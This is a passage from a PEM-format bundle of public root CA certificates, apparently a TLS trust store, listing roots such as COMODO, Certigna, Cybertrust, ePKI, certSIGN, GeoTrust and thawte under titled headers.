EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xFzAVBgNVBAMTDlNlY3VyZVRy
dXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIzMTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAe
BgNVBAoTF1NlY3VyZVRydXN0IENvcnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCC
ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQX
OZEzZum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO0gMdA+9t
DWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIaowW8xQmxSPmjL8xk037uH
GFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b
01k/unK8RCSc43Oz969XL0Imnal0ugBS8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmH
ursCAwEAAaOBnTCBmjATBgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/
BAUwAwEB/zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCegJYYj
aHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ
KoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt36Z3q059c4EVlew3KW+JwULKUBRSu
SceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHf
mbx8IVQr5Fiiu1cprp6poxkmD5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZ
nMUFdAvnZyPSCPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR
3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE=
-----END CERTIFICATE-----

Secure Global CA
================
-----BEGIN CERTIFICATE-----
MIIDvDCCAqSgAwIBAgIQB1YipOjUiolN9BPI8PjqpTANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQG
EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBH
bG9iYWwgQ0EwHhcNMDYxMTA3MTk0MjI4WhcNMjkxMjMxMTk1MjA2WjBKMQswCQYDVQQGEwJVUzEg
MB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwg
Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvNS7YrGxVaQZx5RNoJLNP2MwhR/jx
YDiJiQPpvepeRlMJ3Fz1Wuj3RSoC6zFh1ykzTM7HfAo3fg+6MpjhHZevj8fcyTiW89sa/FHtaMbQ
bqR8JNGuQsiWUGMu4P51/pinX0kuleM5M2SOHqRfkNJnPLLZ/kG5VacJjnIFHovdRIWCQtBJwB1g
8NEXLJXr9qXBkqPFwqcIYA1gBBCWeZ4WNOaptvolRTnIHmX5k/Wq8VLcmZg9pYYaDDUz+kulBAYV
HDGA76oYa8J719rO+TMg1fW9ajMtgQT7sFzUnKPiXB3jqUJ1XnvUd+85VLrJChgbEplJL4hL/VBi
0XPnj3pDAgMBAAGjgZ0wgZowEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud
EwEB/wQFMAMBAf8wHQYDVR0OBBYEFK9EBMJBfkiD2045AuzshHrmzsmkMDQGA1UdHwQtMCswKaAn
oCWGI2h0dHA6Ly9jcmwuc2VjdXJldHJ1c3QuY29tL1NHQ0EuY3JsMBAGCSsGAQQBgjcVAQQDAgEA
MA0GCSqGSIb3DQEBBQUAA4IBAQBjGghAfaReUw132HquHw0LURYD7xh8yOOvaliTFGCRsoTciE6+
OYo68+aCiV0BN7OrJKQVDpI1WkpEXk5X+nXOH0jOZvQ8QCaSmGwb7iRGDBezUqXbpZGRzzfTb+cn
CDpOGR86p1hcF895P4vkp9MmI50mD1hp/Ed+stCNi5O/KU9DaXR2Z0vPB4zmAve14bRDtUstFJ/5
3CYNv6ZHdAbYiNE6KTCEztI5gGIbqMdXSbxqVVFnFUq+NQfk1XWYN3kwFNspnWzFacxHVaIw98xc
f8LDmBxrThaA63p4ZUWiABqvDA1VZDRIuJK58bRQKfJPIx/abKwfROHdI3hRW8cW
-----END CERTIFICATE-----

COMODO Certification Authority
==============================
-----BEGIN CERTIFICATE-----
MIIEHTCCAwWgAwIBAgIQToEtioJl4AsC7j41AkblPTANBgkqhkiG9w0BAQUFADCBgTELMAkGA1UE
BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG
A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNVBAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1
dGhvcml0eTAeFw0wNjEyMDEwMDAwMDBaFw0yOTEyMzEyMzU5NTlaMIGBMQswCQYDVQQGEwJHQjEb
MBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFD
T01PRE8gQ0EgTGltaXRlZDEnMCUGA1UEAxMeQ09NT0RPIENlcnRpZmljYXRpb24gQXV0aG9yaXR5
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ECLi3LjkRv3UcEbVASY06m/weaKXTuH
+7uIzg3jLz8GlvCiKVCZrts7oVewdFFxze1CkU1B/qnI2GqGd0S7WWaXUF601CxwRM/aN5VCaTww
xHGzUvAhTaHYujl8HJ6jJJ3ygxaYqhZ8Q5sVW7euNJH+1GImGEaaP+vB+fGQV+useg2L23IwambV
4EajcNxo2f8ESIl33rXp+2dtQem8Ob0y2WIC8bGoPW43nOIv4tOiJovGuFVDiOEjPqXSJDlqR6sA
1KGzqSX+DT+nHbrTUcELpNqsOO9VUCQFZUaTNE8tja3G1CEZ0o7KBWFxB3NH5YoZEr0ETc5OnKVI
rLsm9wIDAQABo4GOMIGLMB0GA1UdDgQWBBQLWOWLxkwVN6RAqTCpIb5HNlpW/zAOBgNVHQ8BAf8E
BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zBJBgNVHR8EQjBAMD6gPKA6hjhodHRwOi8vY3JsLmNvbW9k
b2NhLmNvbS9DT01PRE9DZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDANBgkqhkiG9w0BAQUFAAOC
AQEAPpiem/Yb6dc5t3iuHXIYSdOH5EOC6z/JqvWote9VfCFSZfnVDeFs9D6Mk3ORLgLETgdxb8CP
OGEIqB6BCsAvIC9Bi5HcSEW88cbeunZrM8gALTFGTO3nnc+IlP8zwFboJIYmuNg4ON8qa90SzMc/
RxdMosIGlgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmc
IGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5ddBA6+C4OmF4O5MBKgxTMVBbkN
+8cFduPYSo38NBejxiEovjBFMR7HeL5YYTisO+IBZQ==
-----END CERTIFICATE-----

Network Solutions Certificate Authority
=======================================
-----BEGIN CERTIFICATE-----
MIID5jCCAs6gAwIBAgIQV8szb8JcFuZHFhfjkDFo4DANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQG
EwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMuMTAwLgYDVQQDEydOZXR3b3Jr
IFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDYxMjAxMDAwMDAwWhcNMjkxMjMx
MjM1OTU5WjBiMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMu
MTAwLgYDVQQDEydOZXR3b3JrIFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0G
CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkvH6SMG3G2I4rC7xGzuAnlt7e+foS0zwzc7MEL7xx
jOWftiJgPl9dzgn/ggwbmlFQGiaJ3dVhXRncEg8tCqJDXRfQNJIg6nPPOCwGJgl6cvf6UDL4wpPT
aaIjzkGxzOTVHzbRijr4jGPiFFlp7Q3Tf2vouAPlT2rlmGNpSAW+Lv8ztumXWWn4Zxmuk2GWRBXT
crA/vGp97Eh/jcOrqnErU2lBUzS1sLnFBgrEsEX1QV1uiUV7PTsmjHTC5dLRfbIR1PtYMiKagMnc
/Qzpf14Dl847ABSHJ3A4qY5usyd2mFHgBeMhqxrVhSI8KbWaFsWAqPS7azCPL0YCorEMIuDTAgMB
AAGjgZcwgZQwHQYDVR0OBBYEFCEwyfsA106Y2oeqKtCnLrFAMadMMA4GA1UdDwEB/wQEAwIBBjAP
BgNVHRMBAf8EBTADAQH/MFIGA1UdHwRLMEkwR6BFoEOGQWh0dHA6Ly9jcmwubmV0c29sc3NsLmNv
bS9OZXR3b3JrU29sdXRpb25zQ2VydGlmaWNhdGVBdXRob3JpdHkuY3JsMA0GCSqGSIb3DQEBBQUA
A4IBAQC7rkvnt1frf6ott3NHhWrB5KUd5Oc86fRZZXe1eltajSU24HqXLjjAV2CDmAaDn7l2em5Q
4LqILPxFzBiwmZVRDuwduIj/h1AcgsLj4DKAv6ALR8jDMe+ZZzKATxcheQxpXN5eNK4CtSbqUN9/
GGUsyfJj4akH/nxxH2szJGoeBfcFaMBqEssuXmHLrijTfsK0ZpEmXzwuJF/LWA/rKOyvEZbz3Htv
wKeI8lN3s2Berq4o2jUsbzRF0ybh3uxbTydrFny9RAQYgrOJeRcQcT16ohZO9QHNpGxlaKFJdlxD
ydi8NmdspZS11My5vWo1ViHe2MPr+8ukYEywVaCge1ey
-----END CERTIFICATE-----

COMODO ECC Certification Authority
==================================
-----BEGIN CERTIFICATE-----
MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTELMAkGA1UEBhMC
R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE
ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkwHhcNMDgwMzA2MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0Ix
GzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR
Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRo
b3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSRFtSrYpn1PlILBs5BAH+X
4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0JcfRK9ChQtP6IHG4/bC8vCVlbpVsLM5ni
wz2J+Wos77LTBumjQjBAMB0GA1UdDgQWBBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8E
BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VG
FAkK+qDmfQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdvGDeA
U/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY=
-----END CERTIFICATE-----

OISTE WISeKey Global Root GA CA
===============================
-----BEGIN CERTIFICATE-----
MIID8TCCAtmgAwIBAgIQQT1yx/RrH4FDffHSKFTfmjANBgkqhkiG9w0BAQUFADCBijELMAkGA1UE
BhMCQ0gxEDAOBgNVBAoTB1dJU2VLZXkxGzAZBgNVBAsTEkNvcHlyaWdodCAoYykgMjAwNTEiMCAG
A1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBH
bG9iYWwgUm9vdCBHQSBDQTAeFw0wNTEyMTExNjAzNDRaFw0zNzEyMTExNjA5NTFaMIGKMQswCQYD
VQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEbMBkGA1UECxMSQ29weXJpZ2h0IChjKSAyMDA1MSIw
IAYDVQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5
IEdsb2JhbCBSb290IEdBIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy0+zAJs9
Nt350UlqaxBJH+zYK7LG+DKBKUOVTJoZIyEVRd7jyBxRVVuuk+g3/ytr6dTqvirdqFEr12bDYVxg
Asj1znJ7O7jyTmUIms2kahnBAbtzptf2w93NvKSLtZlhuAGio9RN1AU9ka34tAhxZK9w8RxrfvbD
d50kc3vkDIzh2TbhmYsFmQvtRTEJysIA2/dyoJaqlYfQjse2YXMNdmaM3Bu0Y6Kff5MTMPGhJ9vZ
/yxViJGg4E8HsChWjBgbl0SOid3gF27nKu+POQoxhILYQBRJLnpB5Kf+42TMwVlxSywhp1t94B3R
LoGbw9ho972WG6xwsRYUC9tguSYBBQIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUw
AwEB/zAdBgNVHQ4EFgQUswN+rja8sHnR3JQmthG+IbJphpQwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ
KoZIhvcNAQEFBQADggEBAEuh/wuHbrP5wUOxSPMowB0uyQlB+pQAHKSkq0lPjz0e701vvbyk9vIm
MMkQyh2I+3QZH4VFvbBsUfk2ftv1TDI6QU9bR8/oCy22xBmddMVHxjtqD6wU2zz0c5ypBd8A3HR4
+vg1YFkCExh8vPtNsCBtQ7tgMHpnM1zFmdH4LTlSc/uMqpclXHLZCB6rTjzjgTGfA6b7wP4piFXa
hNVQA7bihKOmNqoROgHhGEvWRGizPflTdISzRpFGlgC3gCy24eMQ4tui5yiPAZZiFj4A4xylNoEY
okxSdsARo27mHbrjWr42U8U+dY+GaSlYU7Wcu2+fXMUY7N0v4ZjJ/L7fCg0=
-----END CERTIFICATE-----

Certigna
========
-----BEGIN CERTIFICATE-----
MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNVBAYTAkZSMRIw
EAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4XDTA3MDYyOTE1MTMwNVoXDTI3
MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwI
Q2VydGlnbmEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7q
XOEm7RFHYeGifBZ4QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyH
GxnygQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbwzBfsV1/p
ogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q130yGLMLLGq/jj8UEYkg
DncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKf
Irjxwo1p3Po6WAbfAgMBAAGjgbwwgbkwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQ
tCRZvgHyUtVF9lo53BEwZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJ
BgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzjAQ/J
SP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG9w0BAQUFAAOCAQEA
hQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8hbV6lUmPOEvjvKtpv6zf+EwLHyzs+
ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFncfca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1klu
PBS1xp81HlDQwY9qcEQCYsuuHWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY
1gkIl2PlwS6wt0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw
WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg==
-----END CERTIFICATE-----

Cybertrust Global Root
======================
-----BEGIN CERTIFICATE-----
MIIDoTCCAomgAwIBAgILBAAAAAABD4WqLUgwDQYJKoZIhvcNAQEFBQAwOzEYMBYGA1UEChMPQ3li
ZXJ0cnVzdCwgSW5jMR8wHQYDVQQDExZDeWJlcnRydXN0IEdsb2JhbCBSb290MB4XDTA2MTIxNTA4
MDAwMFoXDTIxMTIxNTA4MDAwMFowOzEYMBYGA1UEChMPQ3liZXJ0cnVzdCwgSW5jMR8wHQYDVQQD
ExZDeWJlcnRydXN0IEdsb2JhbCBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
+Mi8vRRQZhP/8NN57CPytxrHjoXxEnOmGaoQ25yiZXRadz5RfVb23CO21O1fWLE3TdVJDm71aofW
0ozSJ8bi/zafmGWgE07GKmSb1ZASzxQG9Dvj1Ci+6A74q05IlG2OlTEQXO2iLb3VOm2yHLtgwEZL
AfVJrn5GitB0jaEMAs7u/OePuGtm839EAL9mJRQr3RAwHQeWP032a7iPt3sMpTjr3kfb1V05/Iin
89cqdPHoWqI7n1C6poxFNcJQZZXcY4Lv3b93TZxiyWNzFtApD0mpSPCzqrdsxacwOUBdrsTiXSZT
8M4cIwhhqJQZugRiQOwfOHB3EgZxpzAYXSUnpQIDAQABo4GlMIGiMA4GA1UdDwEB/wQEAwIBBjAP
BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBS2CHsNesysIEyGVjJez6tuhS1wVzA/BgNVHR8EODA2
MDSgMqAwhi5odHRwOi8vd3d3Mi5wdWJsaWMtdHJ1c3QuY29tL2NybC9jdC9jdHJvb3QuY3JsMB8G
A1UdIwQYMBaAFLYIew16zKwgTIZWMl7Pq26FLXBXMA0GCSqGSIb3DQEBBQUAA4IBAQBW7wojoFRO
lZfJ+InaRcHUowAl9B8Tq7ejhVhpwjCt2BWKLePJzYFa+HMjWqd8BfP9IjsO0QbE2zZMcwSO5bAi
5MXzLqXZI+O4Tkogp24CJJ8iYGd7ix1yCcUxXOl5n4BHPa2hCwcUPUf/A2kaDAtE52Mlp3+yybh2
hO0j9n0Hq0V+09+zv+mKts2oomcrUtW3ZfA5TGOgkXmTUg9U3YO7n9GPp1Nzw8v/MOx8BLjYRB+T
X3EJIrduPuocA06dGiBh+4E37F78CkWr1+cXVdCg6mCbpvbjjFspwgZgFJ0tl0ypkxWdYcQBX0jW
WL1WMRJOEcgh4LMRkWXbtKaIOM5V
-----END CERTIFICATE-----

ePKI Root Certification Authority
=================================
-----BEGIN CERTIFICATE-----
MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBeMQswCQYDVQQG
EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xKjAoBgNVBAsMIWVQS0kg
Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMx
MjdaMF4xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEq
MCgGA1UECwwhZVBLSSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0B
AQEFAAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAHSyZbCUNs
IZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAhijHyl3SJCRImHJ7K2RKi
lTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3XDZoTM1PRYfl61dd4s5oz9wCGzh1NlDiv
qOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX
12ruOzjjK9SXDrkb5wdJfzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0O
WQqraffAsgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uUWH1+
ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLSnT0IFaUQAS2zMnao
lQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pHdmX2Os+PYhcZewoozRrSgx4hxyy/
vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJipNiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXi
Zo1jDiVN1Rmy5nk3pyKdVDECAwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/Qkqi
MAwGA1UdEwQFMAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH
ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGBuvl2ICO1J2B0
1GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6YlPwZpVnPDimZI+ymBV3QGypzq
KOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkPJXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdV
xrsStZf0X4OFunHB2WyBEXYKCrC/gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEP
NXubrjlpC2JgQCA2j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+r
GNm65ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUBo2M3IUxE
xJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS/jQ6fbjpKdx2qcgw+BRx
gMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2zGp1iro2C6pSe3VkQw63d4k3jMdXH7Ojy
sP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTEW9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmOD
BCEIZ43ygknQW/2xzQ+DhNQ+IIX3Sj0rnP0qCglN6oH4EZw=
-----END CERTIFICATE-----

certSIGN ROOT CA
================
-----BEGIN CERTIFICATE-----
MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYTAlJPMREwDwYD
VQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTAeFw0wNjA3MDQxNzIwMDRa
Fw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UE
CxMQY2VydFNJR04gUk9PVCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7I
JUqOtdu0KBuqV5Do0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHH
rfAQUySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5dRdY4zTW2
ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQOA7+j0xbm0bqQfWwCHTD
0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwvJoIQ4uNllAoEwF73XVv4EOLQunpL+943
AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B
Af8EBAMCAcYwHQYDVR0OBBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IB
AQA+0hyJLjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecYMnQ8
SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ44gx+FkagQnIl6Z0
x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6IJd1hJyMctTEHBDa0GpC9oHRxUIlt
vBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNwi/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7Nz
TogVZ96edhBiIL5VaZVDADlN9u6wWk5JRFRYX0KD
-----END CERTIFICATE-----

GeoTrust Primary Certification Authority - G3
=============================================
-----BEGIN CERTIFICATE-----
MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE
BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0
IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz
NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo
YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT
LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j
K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE
c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C
IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu
dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAwEAAaNC
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr
2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9
cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE
Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD
AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s
t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt
-----END CERTIFICATE-----

thawte Primary Root CA - G2
===========================
-----BEGIN CERTIFICATE-----
MIICiDCCAg2gAwIBAgIQNfwmXNmET8k9Jj1Xm67XVjAKBggqhkjOPQQDAzCBhDELMAkGA1UEBhMC
VVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjE4MDYGA1UECxMvKGMpIDIwMDcgdGhhd3RlLCBJbmMu
IC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3Qg
Q0EgLSBHMjAeFw0wNzExMDUwMDAwMDBaFw0zODAxMTgyMzU5NTlaMIGEMQswCQYDVQQGEwJVUzEV
MBMGA1UEChMMdGhhd3RlLCBJbmMuMTgwNgYDVQQLEy8oYykgMjAwNyB0aGF3dGUsIEluYy4gLSBG
b3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIGA1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAt
